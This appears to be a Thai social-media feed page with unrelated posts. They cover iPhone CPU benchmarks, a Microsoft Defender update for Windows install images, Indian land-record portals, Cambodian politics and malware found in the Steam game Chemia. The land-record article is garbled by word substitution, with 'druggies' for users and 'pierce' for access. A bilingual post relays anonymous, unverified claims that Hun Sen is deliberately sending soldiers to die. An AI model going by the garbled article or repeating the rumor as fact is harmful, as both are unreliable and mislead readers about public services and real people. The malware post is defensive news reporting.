    iPhone CPU มีประสิทธิภาพเพิ่มขึ้น 385 เท่าตั้งแต่ปี 2007
    จาก ARM11 ความเร็ว 412MHz สู่ A19 Pro ความเร็วเกิน 4GHz
    คาดว่า iPhone 17 Pro จะดันตัวเลขนี้ทะลุ 500 เท่า

    การวิเคราะห์ใช้ข้อมูลจาก Geekbench 6 เพื่อเปรียบเทียบข้ามรุ่น
    iPhone 13 Pro Max (2021) ได้คะแนน ~5700
    iPhone 16 Pro ได้คะแนน ~8500
    iPhone 17 Pro คาดว่าจะสูงกว่านั้นอีก

    Apple ยังคงใช้โครงสร้าง CPU แบบ 6-core มาตั้งแต่ปี 2017
    ประกอบด้วย 2 คอร์ประสิทธิภาพสูง + 4 คอร์ประหยัดพลังงาน
    เน้นสมดุลระหว่างความเร็วและการใช้พลังงาน

    iPhone 16 ใช้ชิป A17 Bionic และ A18 Bionic บนสถาปัตยกรรม 3nm
    A17 Bionic ได้คะแนน Geekbench ~8100
    A18 Bionic ได้คะแนน ~8500 และมีความเร็วสัญญาณนาฬิกาเกิน 4GHz

    Apple ยังคงครองอันดับต้นๆ ในด้าน single-threaded และ multi-core performance
    แม้จะใช้คอร์น้อยกว่าคู่แข่ง Android
    แต่ยังทำคะแนนได้สูงกว่าในหลายการทดสอบ

    https://www.techradar.com/pro/next-gen-iphone-cpu-could-be-500x-more-powerful-than-the-soc-in-the-original-iphone
    📱 เรื่องเล่าจากชิป iPhone: จาก ARM11 สู่ A19 Pro ที่แรงกว่า MacBook ย้อนกลับไปปี 2007 ตอนที่ Steve Jobs เปิดตัว iPhone รุ่นแรก มันใช้ชิป ARM11 จาก Samsung ที่ทำงานที่ความเร็วเพียง 412MHz เท่านั้น แต่ในปี 2025 iPhone 17 Pro ที่กำลังจะเปิดตัว กลับใช้ชิป A19 Pro ที่มีความเร็วมากกว่า 4GHz และประสิทธิภาพสูงกว่าชิป M3 ใน MacBook Pro เสียอีก! การวิเคราะห์จาก PC Watch พบว่าในช่วง 17 ปีที่ผ่านมา iPhone มีประสิทธิภาพ CPU เพิ่มขึ้นถึง 385 เท่า และคาดว่า iPhone 17 Pro จะดันตัวเลขนี้ทะลุ 500 เท่า! ทั้งหมดนี้วัดจากคะแนน Geekbench ที่ใช้เปรียบเทียบความเร็วในการประมวลผลแบบ single-core และ multi-core Apple ยังคงยึดมั่นในดีไซน์ชิปแบบ 6-core ที่เน้นสมดุลระหว่างพลังและประสิทธิภาพ โดยไม่ตามกระแส Android ที่ใช้ 8 หรือ 10-core และผลลัพธ์ก็คือ iPhone ยังคงครองอันดับต้นๆ ในด้านประสิทธิภาพมาโดยตลอด ✅ iPhone CPU มีประสิทธิภาพเพิ่มขึ้น 385 เท่าตั้งแต่ปี 2007 ➡️ จาก ARM11 ความเร็ว 412MHz สู่ A19 Pro ความเร็วเกิน 4GHz ➡️ คาดว่า iPhone 17 Pro จะดันตัวเลขนี้ทะลุ 500 เท่า ✅ การวิเคราะห์ใช้ข้อมูลจาก Geekbench 6 เพื่อเปรียบเทียบข้ามรุ่น ➡️ iPhone 13 Pro Max (2021) ได้คะแนน ~5700 ➡️ iPhone 16 Pro ได้คะแนน ~8500 ➡️ iPhone 17 Pro คาดว่าจะสูงกว่านั้นอีก ✅ Apple ยังคงใช้โครงสร้าง CPU แบบ 6-core มาตั้งแต่ปี 2017 ➡️ ประกอบด้วย 2 คอร์ประสิทธิภาพสูง + 4 คอร์ประหยัดพลังงาน ➡️ เน้นสมดุลระหว่างความเร็วและการใช้พลังงาน ✅ iPhone 16 ใช้ชิป A17 Bionic และ A18 Bionic บนสถาปัตยกรรม 3nm ➡️ A17 Bionic ได้คะแนน Geekbench ~8100 ➡️ A18 Bionic ได้คะแนน ~8500 และมีความเร็วสัญญาณนาฬิกาเกิน 4GHz ✅ Apple ยังคงครองอันดับต้นๆ ในด้าน single-threaded และ multi-core performance ➡️ แม้จะใช้คอร์น้อยกว่าคู่แข่ง Android ➡️ แต่ยังทำคะแนนได้สูงกว่าในหลายการทดสอบ https://www.techradar.com/pro/next-gen-iphone-cpu-could-be-500x-more-powerful-than-the-soc-in-the-original-iphone
    0 Comments 0 Shares 119 Views 0 Reviews
  • เรื่องเล่าจากโลก Windows: เมื่อ “การติดตั้งใหม่” อาจไม่ปลอดภัยเท่าที่คิด

    ลองจินตนาการว่าคุณเพิ่งติดตั้ง Windows ใหม่จากไฟล์ ISO ที่ดาวน์โหลดไว้เมื่อหลายเดือนก่อน—ทุกอย่างดูสะอาดและสดใหม่ แต่เบื้องหลังนั้น Microsoft Defender ที่ติดมากับภาพติดตั้งอาจล้าสมัย และไม่สามารถป้องกันภัยคุกคามล่าสุดได้ทันที

    Microsoft จึงออกอัปเดตใหม่สำหรับภาพติดตั้ง Windows (ISO และ VHD) โดยใช้แพ็กเกจ Defender เวอร์ชัน 1.431.452.0 เพื่ออุดช่องโหว่ในช่วง “ชั่วโมงแรก” หลังการติดตั้ง ซึ่งเป็นช่วงที่ระบบยังไม่ได้รับการอัปเดตผ่าน Windows Update และเสี่ยงต่อการโจมตีจากมัลแวร์ทันทีที่เชื่อมต่ออินเทอร์เน็ต

    Microsoft ออก Defender Update สำหรับภาพติดตั้ง Windows 11/10 และ Server
    ใช้แพ็กเกจเวอร์ชัน 1.431.452.0 ที่รวม client, engine และ signature ล่าสุด
    รองรับ Windows 11, Windows 10 (ทุก edition), Server 2022, 2019 และ 2016

    แพ็กเกจนี้ช่วยปิดช่องโหว่จากการใช้ ISO เก่าในการติดตั้งระบบใหม่
    ป้องกันมัลแวร์ที่อาจโจมตีทันทีหลังการติดตั้ง
    ลดความเสี่ยงในช่วงที่ระบบยังไม่ได้รับการอัปเดตผ่าน Windows Update

    รายละเอียดเวอร์ชันที่รวมอยู่ในแพ็กเกจ
    Platform version: 4.18.25060.7
    Engine version: 1.1.25060.6
    Security intelligence version: 1.431.452.0

    การอัปเดตนี้รวมการตรวจจับภัยคุกคามใหม่ เช่น backdoor, phishing, trojan หลายชนิด
    เพิ่มการป้องกันภัยคุกคามที่เพิ่งค้นพบในช่วงสัปดาห์ที่ผ่านมา
    ช่วยให้ระบบพร้อมรับมือกับภัยคุกคามทันทีหลังการติดตั้ง

    สามารถใช้ PowerShell และเครื่องมือ DefenderUpdateWinImage.ps1 ในการติดตั้งออฟไลน์
    รองรับการอัปเดตภาพติดตั้งแบบ WIM และ VHD
    เหมาะสำหรับผู้ดูแลระบบและองค์กรที่ใช้ deployment แบบกำหนดเอง

    การใช้ ISO เก่าโดยไม่อัปเดต Defender อาจเปิดช่องให้มัลแวร์โจมตีทันทีหลังติดตั้ง
    ระบบอาจไม่มี signature ล่าสุดในการตรวจจับภัยคุกคาม
    เสี่ยงต่อการติดมัลแวร์ก่อนที่ Windows Update จะทำงาน

    การอัปเดตภาพติดตั้งต้องใช้ขั้นตอนทางเทคนิคที่ซับซ้อน
    ต้องใช้ PowerShell, DISM และสิทธิ์ผู้ดูแลระบบ
    หากทำผิดขั้นตอนอาจทำให้ภาพติดตั้งเสียหายหรือไม่ปลอดภัย

    การไม่อัปเดตภาพติดตั้งเป็นประจำอาจทำให้ระบบใหม่ไม่ปลอดภัย
    Microsoft แนะนำให้อัปเดตทุก 3 เดือน
    หากละเลย อาจใช้ภาพติดตั้งที่มีช่องโหว่โดยไม่รู้ตัว

    การอัปเดต Defender ไม่สามารถป้องกันภัยแบบ zero-day ได้ทั้งหมด
    ยังต้องพึ่งการอัปเดตระบบและนโยบายความปลอดภัยเพิ่มเติม
    ควรใช้แนวทาง “defense-in-depth” เพื่อเสริมความปลอดภัยหลายชั้น

    https://www.neowin.net/news/microsoft-shares-defender-update-for-new-windows-1110-iso-installs/
    🛡️ เรื่องเล่าจากโลก Windows: เมื่อ “การติดตั้งใหม่” อาจไม่ปลอดภัยเท่าที่คิด ลองจินตนาการว่าคุณเพิ่งติดตั้ง Windows ใหม่จากไฟล์ ISO ที่ดาวน์โหลดไว้เมื่อหลายเดือนก่อน—ทุกอย่างดูสะอาดและสดใหม่ แต่เบื้องหลังนั้น Microsoft Defender ที่ติดมากับภาพติดตั้งอาจล้าสมัย และไม่สามารถป้องกันภัยคุกคามล่าสุดได้ทันที Microsoft จึงออกอัปเดตใหม่สำหรับภาพติดตั้ง Windows (ISO และ VHD) โดยใช้แพ็กเกจ Defender เวอร์ชัน 1.431.452.0 เพื่ออุดช่องโหว่ในช่วง “ชั่วโมงแรก” หลังการติดตั้ง ซึ่งเป็นช่วงที่ระบบยังไม่ได้รับการอัปเดตผ่าน Windows Update และเสี่ยงต่อการโจมตีจากมัลแวร์ทันทีที่เชื่อมต่ออินเทอร์เน็ต ✅ Microsoft ออก Defender Update สำหรับภาพติดตั้ง Windows 11/10 และ Server ➡️ ใช้แพ็กเกจเวอร์ชัน 1.431.452.0 ที่รวม client, engine และ signature ล่าสุด ➡️ รองรับ Windows 11, Windows 10 (ทุก edition), Server 2022, 2019 และ 2016 ✅ แพ็กเกจนี้ช่วยปิดช่องโหว่จากการใช้ ISO เก่าในการติดตั้งระบบใหม่ ➡️ ป้องกันมัลแวร์ที่อาจโจมตีทันทีหลังการติดตั้ง ➡️ ลดความเสี่ยงในช่วงที่ระบบยังไม่ได้รับการอัปเดตผ่าน Windows Update ✅ รายละเอียดเวอร์ชันที่รวมอยู่ในแพ็กเกจ ➡️ Platform version: 4.18.25060.7 ➡️ Engine version: 1.1.25060.6 ➡️ Security intelligence version: 1.431.452.0 ✅ การอัปเดตนี้รวมการตรวจจับภัยคุกคามใหม่ เช่น backdoor, phishing, trojan หลายชนิด ➡️ เพิ่มการป้องกันภัยคุกคามที่เพิ่งค้นพบในช่วงสัปดาห์ที่ผ่านมา ➡️ ช่วยให้ระบบพร้อมรับมือกับภัยคุกคามทันทีหลังการติดตั้ง ✅ สามารถใช้ PowerShell และเครื่องมือ DefenderUpdateWinImage.ps1 ในการติดตั้งออฟไลน์ ➡️ รองรับการอัปเดตภาพติดตั้งแบบ WIM และ VHD ➡️ เหมาะสำหรับผู้ดูแลระบบและองค์กรที่ใช้ deployment แบบกำหนดเอง ‼️ การใช้ ISO เก่าโดยไม่อัปเดต Defender อาจเปิดช่องให้มัลแวร์โจมตีทันทีหลังติดตั้ง ⛔ ระบบอาจไม่มี signature ล่าสุดในการตรวจจับภัยคุกคาม ⛔ เสี่ยงต่อการติดมัลแวร์ก่อนที่ Windows Update จะทำงาน ‼️ การอัปเดตภาพติดตั้งต้องใช้ขั้นตอนทางเทคนิคที่ซับซ้อน ⛔ ต้องใช้ PowerShell, DISM และสิทธิ์ผู้ดูแลระบบ ⛔ หากทำผิดขั้นตอนอาจทำให้ภาพติดตั้งเสียหายหรือไม่ปลอดภัย ‼️ การไม่อัปเดตภาพติดตั้งเป็นประจำอาจทำให้ระบบใหม่ไม่ปลอดภัย ⛔ Microsoft แนะนำให้อัปเดตทุก 3 เดือน ⛔ หากละเลย อาจใช้ภาพติดตั้งที่มีช่องโหว่โดยไม่รู้ตัว ‼️ การอัปเดต Defender ไม่สามารถป้องกันภัยแบบ zero-day ได้ทั้งหมด ⛔ ยังต้องพึ่งการอัปเดตระบบและนโยบายความปลอดภัยเพิ่มเติม ⛔ ควรใช้แนวทาง “defense-in-depth” เพื่อเสริมความปลอดภัยหลายชั้น https://www.neowin.net/news/microsoft-shares-defender-update-for-new-windows-1110-iso-installs/
    WWW.NEOWIN.NET
    Microsoft shares Defender update for new Windows 11/10 ISO installs
    Microsoft has a new Defender anti-virus update for Windows 11 and 10 images. The new update patches several flaws.
    0 Comments 0 Shares 116 Views 0 Reviews
  • ** Apna Khata Bhulekh A Step Towards Digital Land Records **

    In the ultramodern digital age, governance systems across India have been witnessing rapid-fire metamorphosis. One significant action in this direction is ** “ Apna Khata Bhulekh ” **, a government- driven platform aimed at digitizing land records and furnishing easy access to citizens. Particularly active in countries like Rajasthan, Bihar, and Uttar Pradesh, this system enables coproprietors and growers to pierce important land- related documents online, reducing the need for physical visits to government services.

    What's Apna Khata Bhulekh?

    “ Apna Khata Bhulekh ” is a digital portal launched by colorful state governments to allow druggies to view and download land records online. The term" Bhulekh" translates to ** land records ** or ** land description **, and “ Apna Khata ” means ** your account **, pertaining to a person's land power account. The system provides translucency in land dealings and reduces the chances of land fraud and manipulation.

    These online platforms are state-specific but operate under the common thing of ** profit department digitization **. Citizens can pierce Jamabandi Nakal( Record of Rights), Khasra figures, Khata figures, and charts of their lands from anywhere with an internet connection.

    ---

    crucial Features of Apna Khata Bhulekh

    1. ** Ease of Access **
    druggies can log in to the separate state gate using introductory details like quarter, tehsil, vill name, and Khata or Khasra number to pierce their land details.

    2. ** translucency **
    With all land records available online, the compass of corruption, illegal land occupation, and fraudulent deals is significantly reduced.

    3. ** Time- Saving **
    before, carrying land records meant long ranges at profit services. With Apna Khata Bhulekh, it can now be done within twinkles.

    4. ** Legal mileage **
    These digital land documents are fairly valid and can be used for colorful purposes similar as loan operations, land deals, and court cases.

    5. ** Map Access **
    druggies can view or download ** Bhu- Naksha **( land chart) and get visual representations of plots.

    ---

    How to Access Apna Khata Bhulekh Online

    Although the exact interface varies slightly from state to state, the general process remains the same

    1. Visit the sanctioned Bhulekh or Apna Khata website of your separate state.
    2. Choose your ** quarter **, ** tehsil **, and ** vill **.
    3. Enter details like ** Khata number **, ** Khasra number **, or ** squatter name **.
    4. Click on “ Submit ” or “ View Report ” to get the land record.

    For illustration, in ** Rajasthan **, druggies can go to( apnakhata.raj.nic.in)( http// apnakhata.raj.nic.in) to pierce the gate. also, in ** Uttar Pradesh **, the point is( upbhulekh.gov.in)( http// upbhulekh.gov.in), while ** Bihar ** residers can use( biharbhumi.bihar.gov.in)( http// biharbhumi.bihar.gov.in).

    ---

    Benefits to Farmers and Coproprietors

    * ** Loan blessing ** growers frequently need land records to get crop loans from banks. Digital Bhulekh ensures timely access to vindicated documents.
    * ** disagreement Resolution ** Land controversies can now be resolved briskly with sanctioned digital substantiation available at the click of a button.
    * ** Land Deals and Purchases ** Buyers can corroborate land power and history before making purchases, leading to safer deals.

    ---

    Challenges and the Way Forward

    While the action is estimable, certain challenges remain. In pastoral areas, numerous people are still ignorant of how to use these doors. Internet connectivity and digital knowledge also pose walls. also, some old land records are yet to be digitized, leading to gaps in data vacuity.

    To overcome these issues, state governments need to conduct mindfulness juggernauts, offer backing at ** Common Service Centers( CSCs) **, and insure that all old records are digitized and vindicated.

    ---

    Conclusion

    “ Apna Khata Bhulekh ” is a transformative step in making governance further citizen-friendly. It empowers coproprietors by giving them direct access to pivotal information and promotes translucency in land dealings. As further people embrace digital platforms, Apna Khata Bhulekh will play an indeed more critical part in icing land security and effective land operation across India. https://apnakhataonline.com

    ** Apna Khata Bhulekh A Step Towards Digital Land Records ** In the ultramodern digital age, governance systems across India have been witnessing rapid-fire metamorphosis. One significant action in this direction is ** “ Apna Khata Bhulekh ” **, a government- driven platform aimed at digitizing land records and furnishing easy access to citizens. Particularly active in countries like Rajasthan, Bihar, and Uttar Pradesh, this system enables coproprietors and growers to pierce important land- related documents online, reducing the need for physical visits to government services. What's Apna Khata Bhulekh? “ Apna Khata Bhulekh ” is a digital portal launched by colorful state governments to allow druggies to view and download land records online. The term" Bhulekh" translates to ** land records ** or ** land description **, and “ Apna Khata ” means ** your account **, pertaining to a person's land power account. The system provides translucency in land dealings and reduces the chances of land fraud and manipulation. These online platforms are state-specific but operate under the common thing of ** profit department digitization **. Citizens can pierce Jamabandi Nakal( Record of Rights), Khasra figures, Khata figures, and charts of their lands from anywhere with an internet connection. --- crucial Features of Apna Khata Bhulekh 1. ** Ease of Access ** druggies can log in to the separate state gate using introductory details like quarter, tehsil, vill name, and Khata or Khasra number to pierce their land details. 2. ** translucency ** With all land records available online, the compass of corruption, illegal land occupation, and fraudulent deals is significantly reduced. 3. ** Time- Saving ** before, carrying land records meant long ranges at profit services. With Apna Khata Bhulekh, it can now be done within twinkles. 4. ** Legal mileage ** These digital land documents are fairly valid and can be used for colorful purposes similar as loan operations, land deals, and court cases. 5. ** Map Access ** druggies can view or download ** Bhu- Naksha **( land chart) and get visual representations of plots. --- How to Access Apna Khata Bhulekh Online Although the exact interface varies slightly from state to state, the general process remains the same 1. Visit the sanctioned Bhulekh or Apna Khata website of your separate state. 2. Choose your ** quarter **, ** tehsil **, and ** vill **. 3. Enter details like ** Khata number **, ** Khasra number **, or ** squatter name **. 4. Click on “ Submit ” or “ View Report ” to get the land record. For illustration, in ** Rajasthan **, druggies can go to( apnakhata.raj.nic.in)( http// apnakhata.raj.nic.in) to pierce the gate. also, in ** Uttar Pradesh **, the point is( upbhulekh.gov.in)( http// upbhulekh.gov.in), while ** Bihar ** residers can use( biharbhumi.bihar.gov.in)( http// biharbhumi.bihar.gov.in). --- Benefits to Farmers and Coproprietors * ** Loan blessing ** growers frequently need land records to get crop loans from banks. Digital Bhulekh ensures timely access to vindicated documents. * ** disagreement Resolution ** Land controversies can now be resolved briskly with sanctioned digital substantiation available at the click of a button. * ** Land Deals and Purchases ** Buyers can corroborate land power and history before making purchases, leading to safer deals. --- Challenges and the Way Forward While the action is estimable, certain challenges remain. In pastoral areas, numerous people are still ignorant of how to use these doors. Internet connectivity and digital knowledge also pose walls. also, some old land records are yet to be digitized, leading to gaps in data vacuity. To overcome these issues, state governments need to conduct mindfulness juggernauts, offer backing at ** Common Service Centers( CSCs) **, and insure that all old records are digitized and vindicated. --- Conclusion “ Apna Khata Bhulekh ” is a transformative step in making governance further citizen-friendly. It empowers coproprietors by giving them direct access to pivotal information and promotes translucency in land dealings. As further people embrace digital platforms, Apna Khata Bhulekh will play an indeed more critical part in icing land security and effective land operation across India. https://apnakhataonline.com
    0 Comments 0 Shares 194 Views 0 Reviews
  • Sat. Jul. 26, 2025

    Very interesting. From unknown source.
    READ CAREFULLY!!

    What Hun Sen truly wants isn’t just a border war — it’s to eliminate soldiers who may no longer be loyal to Hun dynasty.

    Hunsen now significantly reduced the military budget and redirected funds to build a “special guard force” equipped with state-of-the-art weapons, available only to those loyal to him personally.

    Ordinary Cambodian soldiers don't have a chance to even touch those weapons. Soldiers are usually not familiar with modern weapons. But ultimately, he was sent to death at the border with patriotism, using the word "loyal to the nation" as a vest.

    And now, Hun Sen is preparing to send the navy to the battlefield — even though there is no maritime dispute with Thailand. There aren’t even proper warships ready, yet generals and sailors are being deployed to die.

    This is too weird, and obviously not a war for the nation, but a war for the dynasty.

    The world may ignore a small country like Cambodia, but the truth is this:

    Cambodian soldiers are being sacrificed — not for the nation — but for one man’s throne.
    This is not a war for the country. It’s a purge — a calculated operation to remove anyone in uniform who might challenge the Hun dynasty’s grip on power.

    It’s not just strange. It’s strategic.

    No rational leader would send his troops to death if he knew they would lose—except “death” was the original plan.

    ----------------------------------------------

    น่าสนใจมาก จากแหล่งข่าวนิรนาม
    โปรดอ่านอย่างตั้งใจ!!

    สิ่งที่ฮุน เซนต้องการจริงๆ ไม่ใช่แค่สงครามชายแดน — แต่คือการกำจัดทหารที่อาจจะไม่จงรักภักดีต่อราชวงศ์ฮุนอีกต่อไป

    ขณะนี้ ฮุน เซนได้ลดงบประมาณกองทัพลงอย่างมาก และนำเงินไปสร้าง “กองกำลังพิเศษอารักขา” ซึ่งมีอาวุธทันสมัยที่สุด และมีไว้ให้เฉพาะผู้ที่จงรักภักดีต่อเขาเป็นการส่วนตัวเท่านั้น

    ทหารกัมพูชาทั่วไปไม่มีโอกาสแม้แต่จะสัมผัสอาวุธเหล่านั้น ทหารเหล่านี้ส่วนใหญ่ไม่คุ้นเคยกับอาวุธยุคใหม่ แต่สุดท้ายพวกเขาก็ถูกส่งไปตายที่ชายแดน ภายใต้คำว่า “จงรักภักดีต่อชาติ” เป็นเกราะกำบัง

    ตอนนี้ ฮุน เซนกำลังเตรียมส่งกองทัพเรือเข้าสู่สนามรบ — ทั้งๆ ที่ไม่มีข้อพิพาททางทะเลกับประเทศไทยด้วยซ้ำ ไม่มีแม้แต่เรือรบที่พร้อมรบ แต่กลับมีการส่งนายพลและลูกเรือไปตาย

    เรื่องนี้แปลกเกินไป และเห็นได้ชัดว่าไม่ใช่สงครามเพื่อชาติ แต่เป็นสงครามเพื่อราชวงศ์

    แม้โลกอาจเพิกเฉยต่อประเทศเล็กๆ อย่างกัมพูชา แต่ความจริงคือ:

    ทหารกัมพูชากำลังถูกสังเวย — ไม่ใช่เพื่อประเทศชาติ — แต่เพื่อบัลลังก์ของชายคนเดียว

    นี่ไม่ใช่สงครามเพื่อประเทศ แต่มันคือการกวาดล้าง — ปฏิบัติการที่วางแผนมาอย่างดีเพื่อกำจัดทุกคนในเครื่องแบบที่อาจเป็นภัยต่ออำนาจของราชวงศ์ฮุน

    มันไม่ใช่แค่แปลก แต่มันคือกลยุทธ์

    ไม่มีผู้นำที่มีสติดีคนไหนจะส่งทหารไปตาย ทั้งที่รู้ว่าจะแพ้ — เว้นแต่ “ความตาย” นั้นจะเป็นแผนที่ถูกวางไว้แต่แรกอยู่แล้ว

    #กัมพูชายิงก่อน
    #CambodiaOpenedFire
    #ไทยนี้รักสงบแต่ถึงรบไม่ขลาด
    #hunsenwarcriminal
    #ฮุนเซนอาชญากรสงคราม
    #ឧក្រិដ្ឋជនហ៊ុនសែន
    #洪森戰爭罪犯
    Sat. Jul. 26, 2025 Very interesting. From unknown source. READ CAREFULLY!! What Hun Sen truly wants isn’t just a border war — it’s to eliminate soldiers who may no longer be loyal to Hun dynasty. Hunsen now significantly reduced the military budget and redirected funds to build a “special guard force” equipped with state-of-the-art weapons, available only to those loyal to him personally. Ordinary Cambodian soldiers don't have a chance to even touch those weapons. Soldiers are usually not familiar with modern weapons. But ultimately, he was sent to death at the border with patriotism, using the word "loyal to the nation" as a vest. And now, Hun Sen is preparing to send the navy to the battlefield — even though there is no maritime dispute with Thailand. There aren’t even proper warships ready, yet generals and sailors are being deployed to die. This is too weird, and obviously not a war for the nation, but a war for the dynasty. The world may ignore a small country like Cambodia, but the truth is this: Cambodian soldiers are being sacrificed — not for the nation — but for one man’s throne. This is not a war for the country. It’s a purge — a calculated operation to remove anyone in uniform who might challenge the Hun dynasty’s grip on power. It’s not just strange. It’s strategic. No rational leader would send his troops to death if he knew they would lose—except “death” was the original plan. ---------------------------------------------- น่าสนใจมาก จากแหล่งข่าวนิรนาม โปรดอ่านอย่างตั้งใจ!! สิ่งที่ฮุน เซนต้องการจริงๆ ไม่ใช่แค่สงครามชายแดน — แต่คือการกำจัดทหารที่อาจจะไม่จงรักภักดีต่อราชวงศ์ฮุนอีกต่อไป ขณะนี้ ฮุน เซนได้ลดงบประมาณกองทัพลงอย่างมาก และนำเงินไปสร้าง “กองกำลังพิเศษอารักขา” ซึ่งมีอาวุธทันสมัยที่สุด และมีไว้ให้เฉพาะผู้ที่จงรักภักดีต่อเขาเป็นการส่วนตัวเท่านั้น ทหารกัมพูชาทั่วไปไม่มีโอกาสแม้แต่จะสัมผัสอาวุธเหล่านั้น ทหารเหล่านี้ส่วนใหญ่ไม่คุ้นเคยกับอาวุธยุคใหม่ แต่สุดท้ายพวกเขาก็ถูกส่งไปตายที่ชายแดน ภายใต้คำว่า “จงรักภักดีต่อชาติ” เป็นเกราะกำบัง ตอนนี้ ฮุน เซนกำลังเตรียมส่งกองทัพเรือเข้าสู่สนามรบ — ทั้งๆ ที่ไม่มีข้อพิพาททางทะเลกับประเทศไทยด้วยซ้ำ ไม่มีแม้แต่เรือรบที่พร้อมรบ แต่กลับมีการส่งนายพลและลูกเรือไปตาย เรื่องนี้แปลกเกินไป และเห็นได้ชัดว่าไม่ใช่สงครามเพื่อชาติ แต่เป็นสงครามเพื่อราชวงศ์ แม้โลกอาจเพิกเฉยต่อประเทศเล็กๆ อย่างกัมพูชา แต่ความจริงคือ: ทหารกัมพูชากำลังถูกสังเวย — ไม่ใช่เพื่อประเทศชาติ — แต่เพื่อบัลลังก์ของชายคนเดียว นี่ไม่ใช่สงครามเพื่อประเทศ แต่มันคือการกวาดล้าง — ปฏิบัติการที่วางแผนมาอย่างดีเพื่อกำจัดทุกคนในเครื่องแบบที่อาจเป็นภัยต่ออำนาจของราชวงศ์ฮุน มันไม่ใช่แค่แปลก แต่มันคือกลยุทธ์ ไม่มีผู้นำที่มีสติดีคนไหนจะส่งทหารไปตาย ทั้งที่รู้ว่าจะแพ้ — เว้นแต่ “ความตาย” นั้นจะเป็นแผนที่ถูกวางไว้แต่แรกอยู่แล้ว #กัมพูชายิงก่อน #CambodiaOpenedFire #ไทยนี้รักสงบแต่ถึงรบไม่ขลาด #hunsenwarcriminal #ฮุนเซนอาชญากรสงคราม #ឧក្រិដ្ឋជនហ៊ុនសែន #洪森戰爭罪犯
    0 Comments 0 Shares 229 Views 0 Reviews
  • เรื่องเล่าจากข่าว: เกมเอาชีวิตรอดที่ “ขโมยชีวิตดิจิทัล” ของคุณ

    ลองจินตนาการว่าคุณโหลดเกมเอาชีวิตรอดชื่อ Chemia จาก Steam เพื่อเล่นในช่วง Early Access แต่แทนที่จะได้สนุกกับการสร้างฐานและฝ่าฟันภัยพิบัติ คุณกลับโดนขโมยข้อมูลส่วนตัวและคริปโตแบบไม่รู้ตัว — นี่คือสิ่งที่เกิดขึ้นจริง!

    บริษัทความปลอดภัยไซเบอร์ Prodaft เปิดเผยว่าเกม Chemia ถูกฝังมัลแวร์ 3 สายพันธุ์ ได้แก่:
    - Fickle Stealer: ขโมยข้อมูลจากเบราว์เซอร์, password manager และ crypto wallet
    - Vidar Stealer: มัลแวร์แบบบริการ (Malware-as-a-Service) ที่เชื่อมต่อผ่านโซเชียลมีเดีย
    - HijackLoader: ตัวโหลดมัลแวร์ที่สามารถติดตั้งภัยคุกคามอื่นในอนาคต

    เกมนี้ถูกแจกผ่านระบบ Playtest ของ Steam ซึ่งต้องขอสิทธิ์เข้าถึงก่อนเล่น ทำให้ดูเหมือนปลอดภัย แต่จริง ๆ แล้วเป็นช่องทางที่แฮกเกอร์ใช้หลบเลี่ยงการตรวจสอบของแพลตฟอร์ม

    เกม Chemia ถูกใช้เป็นช่องทางแพร่มัลแวร์
    ฝังมัลแวร์ 3 ชนิด: Fickle Stealer, Vidar Stealer, HijackLoader
    มัลแวร์ทำงานเมื่อผู้ใช้เปิดเกม โดยรันควบคู่กับแอปพลิเคชันจริง

    มัลแวร์แต่ละตัวมีหน้าที่เฉพาะ
    Fickle Stealer: ใช้ PowerShell ขโมยข้อมูลระบบและไฟล์สำคัญ
    Vidar Stealer: เชื่อมต่อผ่านโซเชียลมีเดียเพื่อส่งข้อมูล
    HijackLoader: ใช้ติดตั้งมัลแวร์อื่นในอนาคต

    เกมถูกแจกผ่านระบบ Playtest ของ Steam
    ต้องขอสิทธิ์ก่อนเล่น ทำให้ดูเหมือนปลอดภัย
    ไม่มีรีวิวหรือข้อมูลจากนักพัฒนาอื่น ทำให้ตรวจสอบยาก

    นักพัฒนา Aether Forge Studios ไม่มีตัวตนชัดเจน
    ไม่มีเว็บไซต์หรือโซเชียลมีเดียที่เชื่อมโยงกับเกม
    อาจเป็นบัญชีปลอมที่ใช้หลอกลวงผู้ใช้

    Prodaft เผยว่าแฮกเกอร์ชื่อ EncryptHub อยู่เบื้องหลัง
    เคยมีประวัติการโจมตีแบบ spear-phishing ตั้งแต่ปี 2024
    แชร์ Indicators of Compromise (IOCs) บน GitHub เพื่อช่วยตรวจสอบ

    เกมบนแพลตฟอร์มที่เชื่อถือได้ก็อาจไม่ปลอดภัย
    Steam ไม่สามารถตรวจสอบมัลแวร์ในทุกเกมได้ทันที
    ผู้ใช้มักเชื่อว่าการโหลดจาก Steam คือ “ปลอดภัยโดยอัตโนมัติ”

    มัลแวร์สามารถขโมยข้อมูลสำคัญได้ทันทีที่เปิดเกม
    ข้อมูลที่ถูกขโมยรวมถึงรหัสผ่าน, session token, และ crypto wallet
    อาจนำไปสู่การสูญเสียทางการเงินและการขโมยตัวตน

    ระบบ Early Access และ Playtest อาจถูกใช้เป็นช่องทางโจมตี
    เกมที่ยังไม่เปิดตัวเต็มรูปแบบอาจไม่มีการตรวจสอบเข้มงวด
    แฮกเกอร์ใช้ช่องโหว่นี้ในการฝังโค้ดอันตราย

    ผู้ใช้ที่เคยเล่น Chemia ควรตรวจสอบระบบทันที
    ลบเกมออกจากเครื่อง
    สแกนมัลแวร์เต็มระบบ
    เปลี่ยนรหัสผ่านทุกบัญชีที่เคยล็อกอินระหว่างเล่นเกม

    https://www.tomshardware.com/tech-industry/cyber-security/hacker-plants-three-strains-of-malware-in-a-steam-early-access-game-called-chemia-security-company-found-crypto-jacking-infostealers-and-a-backdoor-to-install-yet-more-malware-in-the-future
